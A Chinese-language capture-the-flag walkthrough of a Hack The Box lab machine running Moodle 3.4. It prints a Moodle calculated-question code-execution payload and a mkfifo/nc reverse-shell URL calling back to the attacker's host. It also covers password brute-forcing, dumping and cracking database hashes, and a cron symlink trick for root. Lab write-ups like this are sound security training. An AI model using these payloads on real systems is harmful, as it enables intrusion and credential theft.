出品|MS08067實驗室(www.ms08067.com)
本文作者:大方子(Ms08067實驗室核心成員)

Kali: 10.10.14.50
靶機地址:10.10.10.153
先用nmap 對靶機進行掃描
nmap -sC -sV -sT 10.10.10.153

只開啟了80埠,網頁內容如下

一個靜態的網頁,還有一些其他的頁面,Courses,Students等等
檢查下網頁的源代碼,在GALLERY頁面發現一個奇怪的點

第一個img元素多了一個onerror錯誤事件,意思是加載錯誤時在控制臺輸出(That‘s an F)

然后其他的img圖片都是能正常打開唯獨第一個是無法打開的

那么可能這個圖片里面藏著什么東西,用curl下載來看看
curl http://10.10.10.153/images/5.png -o image.png
下載過來的檔案是打不開的,可能它是損壞的或者它就不是一個圖片
我們用file+cat命令查看檔案型別以及檔案里面的內容

他的意思是忘記了密碼的最后一位,讓我們弄清楚密碼或者是去重置密碼
我們用gobuster對網頁的目錄進行爆破處理
gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.153/ -t 50

/phpMyAdmin

/moodle

PhpMyAdmin被攔截無法訪問,然后moodle是正常可以訪問的
Moddle有個登陸頁面

帳戶密碼可能就是剛剛提示所說的
帳戶:Giovanni
然后密碼的最后一位我們需要去猜解
我們用burp的intruder模塊進行暴力猜解
加載一下兩個字典(數字+大小寫字母+特殊字符)
/usr/share/SecLists/Fuzzing/alphanum-case.txt
/usr/share/SecLists/Fuzzing/special-chars.txt

根據回應長度的不同,找出了最后一位的密碼位#
正確的帳戶和密碼如下:
Username:Giovanni
Password:Th4C00lTheacha#

我們需要查看下moodle的版本,然后找對應的EXP
可以找到任意網頁下面的(Moodle Docs for this page),查看他跳轉的url根據url引數看出它是什么版本的


所以這個版本是3.4版本的,然后我們去google查找3.4版本的漏洞
漏洞文章:https://blog.ripstech.com/2018/moodle-remote-code-execution/
我們可以利用quiz進行代碼執行
打開編輯模式

任選一個TOP創建一個活動

點擊quiz

輸入內容,然后點擊(Save and display)

然后我們點擊 edit quiz
并添加一個新問題,問題型別將是Calculated

然后資訊隨便填寫

在answers填入(這個在這其實并不適用)
/*{a*/`$_REQUEST[sdfz]`;//{x}}`;

在實際運用的程序中還是會需要修改下payload的

經過2次的修改最終的payload為
/*{a*/`$_REQUEST[sdfz]`;//{x}}
成功后就來到這個頁面

我們將點擊Next Page訪問頁面:

如果能正常顯示說明payload沒有問題
我們用kali監聽1337
然后在頁面后面添加如下url并訪問
&sdfz=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.50+1337+>/tmp/f

然后得到shell

嘗試切換到用戶目錄發現不允許

所以我們需要找到用戶的shell
然后我就回傳moodle目錄查找有沒有可用線索,發現config.php組態檔

我們通過mysql -u root -p進行登陸,但是發現不能連續性執行sql陳述句,shell互動性很差

我們通過python來建立起一個shell
python -c 'import pty;pty.spawn("/bin/bash")'

執行下面2句sql:
use moodle;
select username,password from mdl_user;

前3個就是被混淆過可能無法破解,我們看下第4個的長度
echo -n 7a860966115182402ed06375cf0a22af | wc -c

發現是32位,應該是MD5加密
破解下

也可以到這個網站破解:https://crackstation.net/

帳戶:Giovannibak(這個帳戶其實是不對的)
密碼:expelled
然后我們切換過去

發現這個用戶有問題應該是不存在的,后來看到bak可能是備用的用戶,我們查下/etc/passwd

帳戶:giovanni
密碼:expelled

得到user flag

接下來就是獲得root權限,經過各種查找
在giovanni的work目錄下發現一個,應該是任務計劃資料備份的留下的線索

然后我看了下計劃任務

有的目錄不能訪問,有的就是各種呼叫,這里我用一個就是行程程序監控工具,我只要看它到時候呼叫了什么腳本生成備份資料
專案地址:https://github.com/DominicBreuker/pspy/releases
直接下這個已經編譯好的二進制
先看下靶機的系統

這里我就直接下這個

接下來就是常規操作,本地用python的SimpleHTTPServer模塊開啟HTTP服務,然后靶機用wget遠程下載pspy,這里我們把pspy下載到靶機的/dev/shm目錄

然后chmod +x 并執行

這里很明顯切換了root身份開始了任務計劃,同時我們也看到了/usr/bin/backup.sh這個腳本,我們可以通過它得到root shell,但是發現我們只有執行的權限并沒有編輯權限

查看下檔案的內容

它壓縮/home/giovanni/work/courses目錄中的所有東西,在切換到tmp目錄把壓縮包解壓到tmp目錄中去,利用這個特性,我們rm -r 洗掉原始的courses目錄,并創建root目錄的軟連接即ln -s /root courses
這樣腳本再次進行資料備份的時候會把root目錄下的東西解壓縮到tmp目錄,然后我們直接cat root flag即可


?
?
?
轉載請聯系作者并注明出處!
Ms08067安全實驗室專注于網路安全知識的普及和培訓,團隊已出版《Web安全攻防:滲透測驗實戰指南》,《內網安全攻防:滲透測驗實戰指南》,《Python安全攻防:滲透測驗實戰指南》,《Java代碼安全審計(入門篇)》等書籍,
團隊公眾號定期分享關于CTF靶場、內網滲透、APT方面技術干貨,從零開始、以實戰落地為主,致力于做一個實用的干貨分享型公眾號,
官方網站:https://www.ms08067.com/
掃描下方二維碼加入實驗室VIP社區
加入后邀請加入內部VIP群,內部微信群永久有效!
?
?
?
?
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/264095.html
標籤:其他
上一篇:unity 如何讓三維模型在unity中當作地形使用
下一篇:軟體測驗工程師所需要掌握的技能
